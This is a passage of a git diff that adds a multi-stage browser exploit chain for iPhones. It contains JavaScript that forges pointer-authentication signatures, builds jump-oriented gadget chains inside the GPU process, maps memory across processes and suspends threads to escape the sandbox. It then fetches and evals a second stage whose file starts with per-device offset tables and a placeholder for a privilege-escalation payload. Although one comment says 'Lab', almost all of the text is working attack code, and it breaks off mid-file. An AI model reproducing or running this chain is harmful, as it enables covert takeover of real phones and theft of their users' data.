paciza_pthread_create = gpu_slow_pacia(offsets.pthread_create, 0n); + LOG(`paciza_pthread_create: ${paciza_pthread_create.hex()}`); + const paciza_malloc = gpu_slow_pacia(offsets.malloc, 0n); + LOG(`paciza_malloc: ${paciza_malloc.hex()}`); + const gadget_control_1 = offsets.gadget_control_1_ios184; + LOG(`gadget_control_1:${gadget_control_1.hex()}`); + const gadget_control_2 = offsets.gadget_control_2_ios184; + LOG(`gadget_control_2:${gadget_control_2.hex()}`); + const gadget_control_3 = offsets.gadget_control_3_ios184; + LOG(`gadget_control_3: ${gadget_control_3.hex()}`); + const gadget_loop_1 = offsets.gadget_loop_1_ios184; + LOG(`gadget_loop_1: ${gadget_loop_1.hex()}`); + const gadget_loop_2 = offsets.gadget_loop_2_ios184; + LOG(`gadget_loop_2: ${gadget_loop_2.hex()}`); + const gadget_loop_3 = offsets.gadget_loop_3_ios184; + LOG(`gadget_loop_3: ${gadget_loop_3.hex()}`); + const gadget_set_all_registers = offsets.gadget_set_all_registers_ios184; + LOG(`gadget_set_all_registers: ${gadget_set_all_registers.hex()}`); + const paciza_gadget_loop_1 = gpu_slow_pacia(gadget_loop_1, 0n); + LOG(`paciza_gadget_loop_1: ${paciza_gadget_loop_1.hex()}`); + const paciza_gadget_loop_2 = gpu_slow_pacia(gadget_loop_2, 0n); + LOG(`paciza_gadget_loop_2: ${paciza_gadget_loop_2.hex()}`); + const paciza_gadget_loop_3 = gpu_slow_pacia(gadget_loop_3, 0n); + LOG(`paciza_gadget_loop_3: ${paciza_gadget_loop_3.hex()}`); + const paciza_gadget_control_2 = gpu_slow_pacia(gadget_control_2, 0n); + LOG(`paciza_gadget_control_2: ${paciza_gadget_control_2.hex()}`); + const paciza_gadget_control_3 = gpu_slow_pacia(gadget_control_3, 0n); + LOG(`paciza_gadget_control_3: ${paciza_gadget_control_3.hex()}`); + const paciza_gadget_control_3_4 = gpu_slow_pacia(gadget_control_3 + 4n, 0n); + LOG(`paciza_gadget_control_3_4: ${paciza_gadget_control_3_4.hex()}`); + const paciza_gadget_set_all_registers = gpu_slow_pacia(gadget_set_all_registers, 0n); + LOG(`paciza_gadget_set_all_registers: ${paciza_gadget_set_all_registers.hex()}`); + let gpu_memory = gpu_slow_fcall_1(paciza_malloc, 0x4000n); + LOG(`gpu_memory: ${gpu_memory.hex()}`); + function allocate_gpu_memory(size) { + const res = gpu_memory; + gpu_memory += size; + return res; + } + const jop_thread = allocate_gpu_memory(0x10n); + const x0 = allocate_gpu_memory(0x20n); + const x19 = allocate_gpu_memory(0x500n); + const x22 = allocate_gpu_memory(0x20n); + const x20 = allocate_gpu_memory(0x30n); + gpu_slow_write64(x0 + 8n, paciza_gadget_loop_3); + gpu_slow_fcall_2(paciza_pthread_create, jop_thread, 0n, paciza_gadget_loop_3, x0); + LOG('GPU fcall thread has been spawned!!'); + print("[sbx0] stage5: GPU fcall thread spawned"); + const pthread_node = gpu_slow_read64(jop_thread); + LOG(`pthread_node: ${pthread_node.hex()}`); + const jop_stack_top = gpu_slow_read64(pthread_node + 0xb8n); + LOG(`jop_stack_top: ${jop_stack_top.hex()}`); + const jop_stack_bottom = jop_stack_top + 0x88000n; + LOG(`jop_stack_bottom: ${jop_stack_bottom.hex()}`); + const stack = jop_stack_top; + const paciza_gadget_control_1 = gpu_slow_pacia(gadget_control_1, 0n); + LOG(`paciza_gadget_control_1: ${paciza_gadget_control_1.hex()}`); + const pacib_gadget_loop_1_0x80020 = gpu_slow_pacib(gadget_loop_1, stack + 0x80020n); + LOG(`pacib_gadget_loop_1_0x80020: ${pacib_gadget_loop_1_0x80020.hex()}`); + const pacib_gadget_loop_1_0x800c0 = gpu_slow_pacib(gadget_loop_1, stack + 0x800c0n); + LOG(`pacib_gadget_loop_1_0x800c0: ${pacib_gadget_loop_1_0x800c0.hex()}`); + const pacib_gadget_loop_2_0x80010 = gpu_slow_pacib(gadget_loop_2, stack + 0x80010n); + LOG(`pacib_gadget_loop_2_0x80010: ${pacib_gadget_loop_2_0x80010.hex()}`); + const pacib_gadget_loop_2_0x800b0 = gpu_slow_pacib(gadget_loop_2, stack + 0x800b0n); + LOG(`pacib_gadget_loop_2_0x800b0: ${pacib_gadget_loop_2_0x800b0.hex()}`); + const MAGIC = 0x41424344n; + gpu_slow_write64(jop_stack_bottom - 0x4fa0n, stack + 0x80000n); + gpu_slow_write64(jop_stack_bottom - 0x4f98n, gpu_slow_pacib(gadget_loop_1, jop_stack_top + 0x83070n)); + gpu_slow_write64(jop_stack_bottom - 0x4fb0n, x20); + gpu_slow_write64(jop_stack_bottom - 0x4fa8n, x19); + gpu_slow_write64(jop_stack_bottom - 0x4fc0n, x22); + gpu_slow_write64(x19 + 0x20n, MAGIC); + gpu_slow_write64(x19, paciza_gadget_loop_1); + gpu_slow_write64(x0 + 8n, paciza_gadget_control_1); + while (gpu_slow_read64(x19 + 0x20n) === MAGIC); + gpu_slow_write64(stack + 0x80008n, pacib_gadget_loop_2_0x80010); + gpu_slow_write64(x19 + 8n, MAGIC); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_loop_2); + gpu_slow_write64(x19, paciza_gadget_control_2); + while (gpu_slow_read64(x19 + 8n) === MAGIC); + gpu_slow_write64(x20 + 0x20n, paciza_malloc); + gpu_slow_write64(x20 + 0x28n, 0n); + gpu_slow_write64(stack + 0x80018n, pacib_gadget_loop_1_0x80020); + gpu_slow_write64(x19 + 0x20n, MAGIC); + gpu_slow_write64(x19, paciza_gadget_loop_1); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_control_3); + while (gpu_slow_read64(x19 + 0x20n) === MAGIC); + gpu_slow_write64(stack + 0x800a8n, pacib_gadget_loop_2_0x800b0); + gpu_slow_write64(x19 + 8n, MAGIC); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_loop_2); + gpu_slow_write64(x19, paciza_gadget_set_all_registers); + while (gpu_slow_read64(x19 + 8n) === MAGIC); + gpu_slow_write64(stack + 0x800b0n, stack + 0x80000n); + gpu_slow_write64(stack + 0x800b8n, pacib_gadget_loop_1_0x800c0); + gpu_slow_write64(x19 + 0x20n, MAGIC); + gpu_slow_write64(x19, paciza_gadget_loop_1); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_control_3_4); + while (gpu_slow_read64(x19 + 0x20n) === MAGIC); + const cache = new Map(); + const signPointer = paciza_signPointer.noPAC(); + cache.set(signPointer, paciza_signPointer); + function gpu_slow_fcall(pc, ...args) { + if (!cache.has(pc)) { + cache.set(pc, gpu_slow_pacia(pc, 0n)); + } + const signed_pc = cache.get(pc); + gpu_slow_write64(stack + 0x80008n, pacib_gadget_loop_2_0x80010); + gpu_slow_write64(x19 + 8n, MAGIC); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_loop_2); + gpu_slow_write64(x19, paciza_gadget_control_2); + while (gpu_slow_read64(x19 + 8n) === MAGIC); + gpu_slow_write64(x20 + 0x20n, signed_pc); + gpu_slow_write64(x20 + 0x28n, 0n); + gpu_slow_write64(stack + 0x80018n, pacib_gadget_loop_1_0x80020); + gpu_slow_write64(x19 + 0x20n, MAGIC); + gpu_slow_write64(x19, paciza_gadget_loop_1); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_control_3); + while (gpu_slow_read64(x19 + 0x20n) === MAGIC); + for (let i = 0n; i < args.length && i < 8n; ++i) { + gpu_slow_write64(stack + 0x80098n - i * 8n, args[i]); + } + for (let i = 8n; i < args.length; ++i) { + gpu_slow_write64(stack + 0x80070n + i * 8n, args[i]); + } + gpu_slow_write64(stack + 0x800a8n, pacib_gadget_loop_2_0x800b0); + gpu_slow_write64(x19 + 8n, MAGIC); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_loop_2); + gpu_slow_write64(x19, paciza_gadget_set_all_registers); + while (gpu_slow_read64(x19 + 8n) === MAGIC); + gpu_slow_write64(stack + 0x800b0n, stack + 0x80000n); + gpu_slow_write64(stack + 0x800b8n, pacib_gadget_loop_1_0x800c0); + gpu_slow_write64(x19 + 0x20n, MAGIC); + gpu_slow_write64(x19, paciza_gadget_loop_1); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_control_3_4); + while (true) { + const result = gpu_slow_read64(x19 + 0x20n); + if (result !== MAGIC) { + return result; + } + } + } + const gpu_connection = gpu_slow_read64(myWebProcessConnection + 0x38n); + LOG(`gpu_connection: ${gpu_connection.hex()} `); + const gpu_sendPort = gpu_slow_read32(gpu_connection + 0x138n); + LOG(`gpu_sendPort: ${gpu_sendPort.hex()} `); + const gpu_receiveBufferDataPointer = allocate_gpu_memory(receiveBufferSizeAsBigInt); + LOG(`gpu_receiveBufferDataPointer: ${gpu_receiveBufferDataPointer.hex()} `); + const scratchPad = allocate_gpu_memory(0x100n); + LOG(`scratchPad: ${scratchPad.hex()} `); + class GPURemoteConnection { + setSendPort(sendPort) { + this.sendPort = sendPort; + } + createReceivePort() { + let kr = gpu_slow_fcall(offsets.mach_port_allocate, __mach_task_self, 1n, scratchPad + 0x10n); + ASSERT(!kr, "createReceivePort.mach_port_allocate has been failed"); + this.receivePort = gpu_slow_read32(scratchPad + 0x10n); + LOG(`this.receivePort: ${this.receivePort.hex()} `); + kr = gpu_slow_fcall(offsets.mach_port_insert_right, __mach_task_self, this.receivePort, this.receivePort, 0x14n); + ASSERT(!kr, "createReceivePort.mach_port_insert_right has been failed"); + } + sendMessage(encoder, attachments = []) { + const buffer = encoder.buffer(); + const numberOfPortDescriptors = attachments.length; + let messageBodyIsOOL = false; + let messageSize = MachMessage.messageSize(buffer.byteLength, numberOfPortDescriptors, messageBodyIsOOL); + if (messageSize > inlineMessageMaxSize) { + messageBodyIsOOL = true; + messageSize = MachMessage.messageSize(0, numberOfPortDescriptors, messageBodyIsOOL); + } + const isComplex = numberOfPortDescriptors || messageBodyIsOOL; + const message = new ArrayBuffer(messageSize); + const view = new DataView(message); + view.setUint32(0, isComplex ? 0x80000013 : 0x13, true); + view.setUint32(4, messageSize, true); + view.setUint32(8, Number(gpu_sendPort), true); + view.setUint32(0x14, messageBodyIsOOL ? outOfLineBodyMessageID : inlineBodyMessageID, true); + let messageOffset = 0x18; + if (isComplex) { + view.setUint32(messageOffset, numberOfPortDescriptors + messageBodyIsOOL, true); + messageOffset += 4; + for (const attachment of attachments) { + view.setUint32(messageOffset, Number(attachment), true); + view.setUint32(messageOffset + 4, MACH_MSG_PORT_DESCRIPTOR, true); + view.setUint32(messageOffset + 8, MACH_MSG_TYPE_MOVE_SEND << 16, true); + messageOffset += sizeof_mach_msg_port_descriptor_t; + } + if (messageBodyIsOOL) { + view.setBigUint64(messageOffset, buffer.data(), true); + view.setUint32(messageOffset + 8, 0x1000100, true); + view.setUint32(messageOffset + 0xc, buffer.byteLength, true); + messageOffset += sizeof_mach_msg_ool_descriptor_t; + } + } + if (!messageBodyIsOOL) { + const buffer_u8 = new Uint8Array(buffer); + const message_u8 = new Uint8Array(message); + for (let i = 0; i < buffer_u8.byteLength; ++i) { + message_u8[messageOffset + i] = buffer_u8[i]; + } + } + const message_u8 = new Uint8Array(message); + const message_ptr = allocate_gpu_memory(BigInt(message.byteLength)); + copy_to_gpu(message_ptr, message_u8); + return gpu_slow_fcall(offsets.mach_msg_fn, message_ptr, 145n, BigInt(messageSize), 0n, 0n, 0n, 0n); + } + receiveMemoryPort() { + let port; + const kr = gpu_slow_fcall(offsets.mach_msg_fn, gpu_receiveBufferDataPointer, 0x906n, 0n, receiveBufferSizeAsBigInt, this.receivePort, 5000n, 0n); + if (kr == KERN_SUCCESS) { + const buffer = copy_from_gpu(gpu_receiveBufferDataPointer, 0x40n); + const bufferU32 = new Uint32Array(buffer); + port = BigInt(bufferU32[7]); + } else if (kr == 0x10004003n) { + ASSERT_NOT_REACHED("[!] mach_msg(): process not responding"); + } else { + ASSERT_NOT_REACHED(`maybe gpu dead(code: ${kr.hex()})`); + } + ASSERT(port, "Could not receive port"); + return port; + } + } + ; + const remoteConnection = new GPURemoteConnection(); + remoteConnection.createReceivePort(); + let kr = remoteConnection.sendMessage(new Encoder(0x1337, 0n), [remoteConnection.receivePort]); + ASSERT(!kr, "remoteConnection.sendMessage has been failed"); + const secondarySendPort = (() => { + const decoder = gpuConnection.receiveMessage(0x1337); + return decoder.attachments[0]; + })(); + const secondaryConnection = new Connection(); + secondaryConnection.setSendPort(secondarySendPort); + secondaryConnection.createReceivePort(); + { + const sizeBuffer = new BigUint64Array(2); + sizeBuffer[0] = 0x88000n; + const sizeBufferDataPointer = sizeBuffer.data(); + let fakeStackDataPointer = 0n; + let memory = 0n; + while (1) { + let next_ptr = 0n; + while (1) { + const ab = new ArrayBuffer(0x6000); + next_ptr = ab.data() + 0x6000n; + if (next_ptr == (next_ptr & ~0x3fffn)) { + break; + } + } + memory = new ArrayBuffer(0x88000); + fakeStackDataPointer = memory.data(); + if (fakeStackDataPointer == (fakeStackDataPointer & ~0x3fffn)) break; + LOG(`fakeStack not aligned:${fakeStackDataPointer.hex()}, continue searching`); + } + ASSERT(fakeStackDataPointer == (fakeStackDataPointer & ~0x3fffn), "fakeStack is not page aligned"); + kr = fcall(offsets.mach_make_memory_entry_64_fn, __mach_task_self, sizeBufferDataPointer, fakeStackDataPointer, 3n, sizeBufferDataPointer + 8n, 0n); + ASSERT(!kr, "mach_make_memory_entry_64 has failed"); + const memPort = sizeBuffer[1]; + LOG(`memPort: ${memPort.hex()} `); + kr = secondaryConnection.sendMessage(new Encoder(0x1338, 0n), [memPort]); + ASSERT(!kr, "secondaryConnection.sendMessage has failed"); + const gpu_memPort = remoteConnection.receiveMemoryPort(); + LOG(`gpu_memPort: ${gpu_memPort.hex()} `); + const VM_FLAGS_ANYWHERE = 1n; + const VM_INHERIT_NONE = 2n; + gpu_slow_write64(gpu_receiveBufferDataPointer, 0n); + print("[sbx0] stage5b: mach_vm_map cross-process"); + LOG('going to mach_vm_map'); + LOG(`gpu_receiveBufferDataPointer: ${gpu_receiveBufferDataPointer.hex()}`); + kr = gpu_slow_fcall(offsets.mach_vm_map_fn, __mach_task_self, gpu_receiveBufferDataPointer, 0x88000n, 0n, VM_FLAGS_ANYWHERE, gpu_memPort, 0n, 0n, (3n << 32n) + 3n, VM_INHERIT_NONE); + ASSERT(!kr, "mach_vm_map has failed"); + const gpu_memory = gpu_slow_read64(gpu_receiveBufferDataPointer); + LOG(`gpu_memory: ${gpu_memory.hex()} `); + const x0_off = 0; + const x19_off = x0_off + 0x20; + const x20_off = x19_off + 0x410; + const x22_off = x20_off + 0x30; + const scratchpad_off = x22_off + 0x20; + const fast_x0 = gpu_memory + BigInt(x0_off); + const fast_x19 = gpu_memory + BigInt(x19_off); + const fast_x20 = gpu_memory + BigInt(x20_off); + const fast_scratchpad = gpu_memory + BigInt(scratchpad_off); + const gpu_stack = gpu_memory; + const x0_u64 = new BigUint64Array(memory, x0_off); + const x19_f64 = new Float64Array(memory, x19_off); + const x19_u64 = new BigUint64Array(memory, x19_off); + const x20_u64 = new BigUint64Array(memory, x20_off); + const fast_scratchpad_u64 = new BigUint64Array(memory, scratchpad_off); + const fast_scratchpad_u8 = new Uint8Array(memory, scratchpad_off); + const stack_u64 = new BigUint64Array(memory); + const wp_fast_scratchpad = fast_scratchpad_u64.data(); + x0_u64[1] = paciza_gadget_loop_3; + const pacib_gadget_loop_1_0x80020 = gpu_slow_pacib(gadget_loop_1, gpu_stack + 0x80020n); + const pacib_gadget_loop_1_0x800c0 = gpu_slow_pacib(gadget_loop_1, gpu_stack + 0x800c0n); + const pacib_gadget_loop_2_0x80010 = gpu_slow_pacib(gadget_loop_2, gpu_stack + 0x80010n); + const pacib_gadget_loop_2_0x800b0 = gpu_slow_pacib(gadget_loop_2, gpu_stack + 0x800b0n); + gpu_slow_write64(jop_stack_top + 0x800c0n, 0x29n); + gpu_slow_write64(jop_stack_top + 0x800c8n, gpu_slow_pacib(gadget_loop_3, jop_stack_top + 0x800d0n)); + gpu_slow_write64(x20 + 0x20n, fast_x0); + gpu_slow_write64(x19, paciza_gadget_control_3); + gpu_slow_write64(jop_stack_top + 0x80160n, gpu_stack + 0x80000n); + gpu_slow_write64(jop_stack_top + 0x80168n, gpu_slow_pacib(gadget_loop_1, jop_stack_top + 0x80170n)); + gpu_slow_write64(jop_stack_top + 0x80150n, fast_x20); + gpu_slow_write64(jop_stack_top + 0x80158n, fast_x19); + const MAGIC = 1.1; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x0_u64[8 / 8] = paciza_gadget_control_1; + while (x19_f64[0x20 / 8] == MAGIC); + stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + x19_u64[0 / 8] = paciza_gadget_control_2; + while (x19_f64[8 / 8] == MAGIC); + x20_u64[0x20 / 8] = paciza_malloc; + x20_u64[0x28 / 8] = 0n; + stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x20_u64[0x10 / 8] = paciza_gadget_control_3; + while (x19_f64[0x20 / 8] === MAGIC); + stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + x19_u64[0 / 8] = paciza_gadget_set_all_registers; + while (x19_f64[8 / 8] === MAGIC); + stack_u64[0x800b0 / 8] = gpu_stack + 0x80000n; + stack_u64[0x800b8 / 8] = pacib_gadget_loop_1_0x800c0; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x20_u64[0x10 / 8] = paciza_gadget_control_3_4; + while (x19_f64[0x20 / 8] === MAGIC); + function gpu_pacia0(ptr, ctx) { + gpu_slow_write64(signPointerSelf, 0x80010000_00000000n | ctx >> 48n << 32n); + return gpu_fcall(signPointer, signPointerSelf, ctx, ptr); + } + function gpu_fcall(pc, ...args) { + if (!cache.has(pc)) { + cache.set(pc, gpu_pacia(pc.noPAC(), 0n)); + } + const signed_pc = cache.get(pc); + stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + performance.now(); + x19_u64[0 / 8] = paciza_gadget_control_2; + while (x19_f64[8 / 8] === MAGIC); + x20_u64[0x20 / 8] = signed_pc; + x20_u64[0x28 / 8] = 0n; + stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + performance.now(); + x20_u64[0x10 / 8] = paciza_gadget_control_3; + while (x19_f64[0x20 / 8] === MAGIC); + for (let i = 0; i < args.length && i < 8; ++i) { + stack_u64[0x80098 / 8 - i] = args[i]; + } + for (let i = 8; i < args.length; ++i) { + stack_u64[0x80070 / 8 + i] = args[i]; + } + stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + performance.now(); + x19_u64[0 / 8] = paciza_gadget_set_all_registers; + while (x19_f64[8 / 8] === MAGIC); + stack_u64[0x800b0 / 8] = gpu_stack + 0x80000n; + stack_u64[0x800b8 / 8] = pacib_gadget_loop_1_0x800c0; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + performance.now(); + x20_u64[0x10 / 8] = paciza_gadget_control_3_4; + while (x19_f64[0x20 / 8] === MAGIC); + return x19_u64[0x20 / 8]; + } + cache.set(offsets.memcpy, gpu_pacia0(offsets.memcpy, 0n)); + function gpu_read64(addr) { + gpu_fcall(offsets.memcpy, fast_scratchpad, addr, 8n); + return fast_scratchpad_u64[0]; + } + function gpu_write64(addr, value) { + fast_scratchpad_u64[0] = value; + gpu_fcall(offsets.memcpy, addr, fast_scratchpad, 8n); + } + function gpu_pacia(ptr, ctx) { + gpu_write64(signPointerSelf, 0x80010000_00000000n | ctx >> 48n << 32n); + return gpu_fcall(signPointer, signPointerSelf, ctx, ptr); + } + function gpu_pacib(ptr, ctx) { + gpu_write64(signPointerSelf, 0x80030000_00000000n | ctx >> 48n << 32n); + return gpu_fcall(signPointer, signPointerSelf, ctx, ptr); + } + cache.set(offsets.malloc, gpu_pacia(offsets.malloc, 0n)); + function gpu_fcall_close() { + x19_u64[0 / 8] = gpu_pacia(offsets.pthread_exit, 0n); + } + function gpu_copy_buffer(ptr, size) { + const chunk = gpu_fcall(offsets.malloc, size); + let dst = chunk; + while (size > 0n) { + let cp_sz = size; + if (cp_sz > 0x40000n) { + cp_sz = 0x40000n; + } + fcall(offsets.memcpy, wp_fast_scratchpad, ptr, cp_sz); + gpu_fcall(offsets.memcpy, dst, fast_scratchpad, cp_sz); + size -= cp_sz; + dst += cp_sz; + ptr += cp_sz; + } + return chunk; + } + function gpu_fcall_enable_sleep() {} + function gpu_fcall_disable_sleep() {} + LOG(`going to suspend the spinners in the GPU`); + const backend2_thread_port = gpu_read64(backend2_processingThread + 0x34n) & 0xffffffffn; + LOG(`backend2_thread_port: ${backend2_thread_port.hex()}`); + const backend3_thread_port = gpu_read64(backend3_processingThread + 0x34n) & 0xffffffffn; + LOG(`backend3_thread_port: ${backend3_thread_port.hex()}`); + LOG(`gpu scratchpad: ${fast_scratchpad.hex()}`); + LOG(`wc scratchpad: ${fast_scratchpad_u8.data().hex()}`); + gpu_fcall(offsets.libsystem_kernel__thread_suspend, backend2_thread_port); + gpu_fcall(offsets.libsystem_kernel__thread_suspend, backend3_thread_port); + const gpu_dlsym_buffer = gpu_fcall(offsets.malloc, 0x80n); + function gpu_dlsym(handle, symbol) { + const aligned_size = symbol.length + 8 & ~7; + const buffer = new ArrayBuffer(aligned_size); + const u8 = new Uint8Array(buffer); + const u64 = new BigUint64Array(buffer); + for (let i = 0; i < symbol.length; ++i) { + u8[i] = symbol.charCodeAt(i); + } + for (let i = 0; i < u64.length; ++i) { + fast_scratchpad_u64[i] = u64[i]; + } + gpu_fcall(offsets.memcpy, gpu_dlsym_buffer, fast_scratchpad, BigInt(aligned_size)); + return gpu_fcall(offsets.libdyld__dlsym, handle, gpu_dlsym_buffer); + } + for (let i = 0; i < renderingBackendConnections.length; ++i) { + const renderingBackendConnection = renderingBackendConnections[i]; + while (renderingBackendConnection.tryConsumeMessage()); + } + while (firstGpuConnection.tryConsumeMessage()); + while (gpuConnection.tryConsumeMessage()); + const sbx0_pac_end = Date.now(); + log(`[profiler] sbx0 (pac) took ${sbx0_pac_end - sbx0_pac_begin} ms`); + LOG(`[+] SBX0 complete`); + print("[sbx0] stage6: SBX0 COMPLETE! loading sbx1..."); + try { + const gpuRead64 = gpu_read64; + const gpuWrite64 = gpu_write64; + const gpuFcall = gpu_fcall; + const gpuDlsym = gpu_dlsym; + const gpuPaciza = function (ptr) { + return gpu_pacia(ptr, 0n); + }; + const gpuPacia = gpu_pacia; + const gpuPacib = gpu_pacib; + const gpuCopyBuffer = gpu_copy_buffer; + const gpuFcallEnableSleep = gpu_fcall_enable_sleep; + const gpuFcallDisableSleep = gpu_fcall_disable_sleep; + const addrof = p.addrof; + const sc_slide = p.slide; + print("[sbx0] stage7: fetching sbx1_main.js"); + const sbx1_script = getJS('/sbx1_main.js'); + print("[sbx0] stage7: sbx1 fetched, eval start"); + eval(sbx1_script); + LOG('Restore bmalloc metadata after emptyString Corruption'); + gpu_write64(offsets.emptyString + 0x68n, 0x300000005n); + gpu_write64(offsets.emptyString + 0x70n, 0x100000080n); + gpu_write64(offsets.emptyString + 0x78n, 0n); + gpu_write64(offsets.emptyString + 0x80n, 0x1200000001n); + sbx1_end = Date.now(); + log(`[profiler] sbx1 took ${sbx1_end - sbx0_pac_end} ms`); + LOG(`[+] SBX1 complete`); + print("[sbx0] stage8: SBX1 COMPLETE! chain success"); + LOG('Invalidate backend connection from gpu process side'); + const remoteRenderingBackendMap = gpu_read64(myWebProcessConnection + 0xe8n); + LOG(`remoteRenderingBackendMap: ${remoteRenderingBackendMap.hex()} `); + const remoteGraphicsContextGLMap = gpu_read64(myWebProcessConnection + 0xf0n); + LOG(`remoteGraphicsContextGLMap: ${remoteGraphicsContextGLMap.hex()} `); + gpu_write64(myWebProcessConnection + 0xe8n, 0n); + gpu_write64(myWebProcessConnection + 0xf0n, 0n); + LOG('Invalidated'); + // Lab: do NOT call _exit() — it kills WebContent and Safari reloads the tab. + LOG('skip _exit (keep WebContent alive, no page reload)'); + print('[sbx0] stage8: skip _exit — WC stays alive'); + try { gpu_fcall_close(); } catch (_) {} + } catch (e) { + print("[sbx0] ERROR in sbx1 block: " + e); + LOG(`${e} `); + LOG(btoa(e)); + } + } + })(); +})(); diff --git a/channel-builder-ds/source/sbx1_main.js b/channel-builder-ds/source/sbx1_main.js new file mode 100644 index 0000000..1666dfe --- /dev/null +++ b/channel-builder-ds/source/sbx1_main.js @@ -0,0 +1,7689 @@ + +function __labResolveOffsetKey(table, device_model) { + try { + if (table && device_model && table[device_model]) return device_model; + var dm = String(device_model || ""); + if (!table || !dm) return device_model; + if (table[dm]) return dm; + var keys = Object.keys(table); + // Exact build suffix match with sibling prefix (13,3 -> 13,2_3, etc.) + var build = ""; + var mBuild = dm.match(/_(22[A-Z0-9]+)$/); + if (mBuild) build = mBuild[1]; + var machine = dm.split("_")[0]; + var aliases = []; + if (machine === "iPhone13,3") aliases.push("iPhone13,2_3_" + build); + if (machine === "iPhone12,5") aliases.push("iPhone12,3_5_" + build); + if (machine === "iPhone11,4" || machine === "iPhone11,6") aliases.push("iPhone11,2_4_6_" + build); + if (machine === "iPhone13,2") aliases.push("iPhone13,2_3_" + build); + if (machine === "iPhone12,3") aliases.push("iPhone12,3_5_" + build); + if (machine === "iPhone11,2") aliases.push("iPhone11,2_4_6_" + build); + for (var ai = 0; ai < aliases.length; ai++) { + if (aliases[ai] && table[aliases[ai]]) return aliases[ai]; + } + // Same machine prefix + same build + if (build) { + for (var i = 0; i < keys.length; i++) { + var k = keys[i]; + if (k.indexOf(machine) === 0 && k.lastIndexOf(build) === k.length - build.length) return k; + } + // Same build, same major generation (iPhone13,*) + var gen = machine.split(",")[0]; + for (var j = 0; j < keys.length; j++) { + var k2 = keys[j]; + if (k2.indexOf(gen + ",") === 0 && k2.lastIndexOf(build) === k2.length - build.length) return k2; + } + } + // Prefix startsWith + for (var n = 0; n < keys.length; n++) { + if (keys[n].indexOf(machine) === 0) return keys[n]; + } + } catch (e) {} + return device_model; +} + +(() => { + sbx1_begin = Date.now(); + const peCode = "&v={{LPE_64BITE}}"; + let wc_fcall = fcall; + let wc_uread64 = read64; + let uread64 = gpuRead64; + let uwrite64 = gpuWrite64; + let pacia = gpuPacia; + let pacib = gpuPacib; + let gpu_fcall_sleep = null && gpuFcallEnableSleep; + let gpu_fcall_wake = null && gpuFcallDisableSleep; + function LOG(msg) { + if (true) log('sbx1: ' + msg); + } + let wc_get_cstring = function (js_str) { + let s = js_str + "\x00"; + resolve_rope(s); + return wc_uread64(wc_uread64(addrof(s) + 0x8n) + 0x8n); + }; + let get_cstring = function (js_str) { + let gpu_cstr = gpuCopyBuffer(wc_get_cstring(js_str), BigInt(js_str.length) + 1n); + return gpu_cstr; + }; + let func_resolve = function (symbol) { + return gpuDlsym(0xFFFFFFFFFFFFFFFEn, symbol); + }; + let GPU_CALLOC = func_resolve("calloc"); + function gpu_new_uint64_t(val = 0n) { + let buf = gpu_fcall(GPU_CALLOC, 1n, 0x8n); + uwrite64(buf, val); + return buf; + } + function adjust_pivot_stack() { + return; + } + function get_shared_cache_slide() { + if (globalThis['sc_slide'] != undefined) { + return sc_slide; + } + let start_address = gpu_new_uint64_t(); + gpu_fcall(func_resolve("syscall"), 294n, 0n, 0n, 0n, 0n, 0n, 0n, 0n, start_address); + let DYLD_SHARED_CACHE_LOAD_ADDR = 0x0000000180000000n; + let dyld_shared_cache_slide = uread64(start_address) - DYLD_SHARED_CACHE_LOAD_ADDR; + return dyld_shared_cache_slide; + } + function uread8(where) { + return uread_bitsize(where, 8n).asInt32s()[0]; + } + function uwrite8(where, what) { + return uwrite_bitsize(where, BigInt(what), 8n); + } + function cmp8_wait_for_change(where, what) { + return; + let target = BigInt(what); + while (true) { + let val = uread64(where) & 0xffn; + if (val != target) { + break; + } + } + } + function cmp8_wait_for_value(where, what) { + let target = BigInt(what); + let start_interval = Date.now(); + let diff = 0; + while (true && diff < 2000) { + let val = uread64(where) & 0xffn; + if (val == target) { + break; + } + const now = Date.now(); + diff = now - start_interval; + } + if(diff >= 2000) + { + LOG("Break on timeout"); + return false; + } + return true; + } + function xpac(ptr) { + return ptr.noPAC(); + } + let shared_cache_slide = get_shared_cache_slide(); + let dyld_patching_fptr_offset = 0x208n; + let integrated = true; + let use_js_thread = 0; + let set_x19_gadget = 0n; + let set_x30_gadget = 0n; + let load_x0_0x0_gadget = 0n; + let load_x0_0x0_gadget_data = 0n; + let new_save_x0_gadget = 0n; + let new_save_x0_gadget_data = 0n; + let isNAN_lr_gadget = 0n; + let mov_x8_x0_gadget = 0n; + let leak_surface_address_gadget = 0n; + let mov_x0_x8_gadget = 0n; + let save_sp_gadget = 0n; + let save_x0_gadget = 0n; + let save_x0_gadget_data = 0n; + let mov_x20_x19_gadget = 0n; + let restore_sp_gadget = 0n; + let xpac_gadget = 0n; + let restore_sp_gadget_data = 0n; + let load_x1_0x30_gadget = 0n; + let load_x1_0x30_gadget_data = 0n; + let load_x0_0x18_gadget = 0n; + let load_x0_0x18_gadget_data = 0n; + let dyld_objc_patching_gadget = 0n; + let dyld_signPointer_gadget = 